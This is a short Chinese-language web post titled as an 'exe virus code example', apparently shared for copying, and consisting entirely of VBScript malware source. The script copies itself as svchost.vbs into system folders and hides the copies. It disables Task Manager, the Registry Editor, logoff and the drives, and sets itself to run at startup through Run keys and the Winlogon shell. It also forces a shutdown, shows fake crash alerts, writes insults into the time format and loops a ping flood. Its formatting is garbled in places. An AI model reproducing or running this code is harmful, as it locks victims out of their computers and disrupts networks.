[语言编程] exe病毒代码实例

Set objFS *** CreateObject(“Scripting.FileSystemObject”)
Set objFSO *** CreateObject(“Scripting.FileSystemObject”)set wsh *** wscript.createobject(“wscript.shell”)set reg *** wscript.createobject(“wscript.shell”)dim wsha *** WScript.ScriptFullNameb *** "shutdown -t 60 -s -cc *** "c:\svchost.vbs"d *** "d:\svchost.vbs"s *** "c:\windows\system32\svchost.vbs"c1 *** "attrib +s +h +a +r c:\svchost.vbs"d1 *** "attrib +s +h +a +r d:\svchost.vbs"s1 *** "attrib +s +h +a +r c:\windows\system32\svchost.vbs"If objFSO.FileExists © ThenElseobjFs.GetFile (a).Copy ©wsh.run c1End IfIf objFSO.FileExists(d) ThenElseobjFs.GetFile (a).Copy (d)wsh.run d1End IfIf objFSO.FileExists(s) ThenElseobjFs.GetFile (a).Copy (s)wsh.run s1End Ifwsh.run bwsh.run “narrator"reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”,“00000001”,“REG_DWORD"reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”,“00000001”,“REG_DWORD"reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\exploreroRun”,“00000001”,“REG_DWORD"reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\exploreroClose”,“00000001”,“REG_DWORD"reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\exploreroLogoff”,“00000001”,“REG_DWORD"reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\exploreroDesktop”,“00000001”,“REG_DWORD"reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\exploreroDrives”,“000000100”,“REG_DWORD"reg.regwrite"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost”,“c:\svchost.vbs”,“REG_SZ"reg.regwrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost”,“d:\svchost.vbs”,“REG_SZ"reg.regwrite"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices\svchost”,“c:\windows\system32\svchost.vbs”,“REG_SZ"reg.regwrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices\svchost”,“c:\windows\system32\svchost.vbs”,“REG_SZ"reg.regwrite"HKEY_CURRENT_USER\Control Panel\International\sTimeFormat”,“tttt H:mm:ss”,“REG_SZ"reg.regwrite"HKEY_CURRENT_USER\Control Panel\International\s1159”,“笨蛋！”,“REG_SZ"reg.regwrite"HKEY_CURRENT_USER\Control Panel\International\s2359”,“傻逼！”,“REG_SZ"reg.regwrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\shell”,“c:\windows\system32\svchost.vbs”,"REG_SZ"msgbox “系统快要崩溃了！”,48,"由于你经常看黄页："msgbox “windows崩溃了！”,18,"安全警报："dowsh.run (“ping -t -l 6500 192.168.1.1”)loop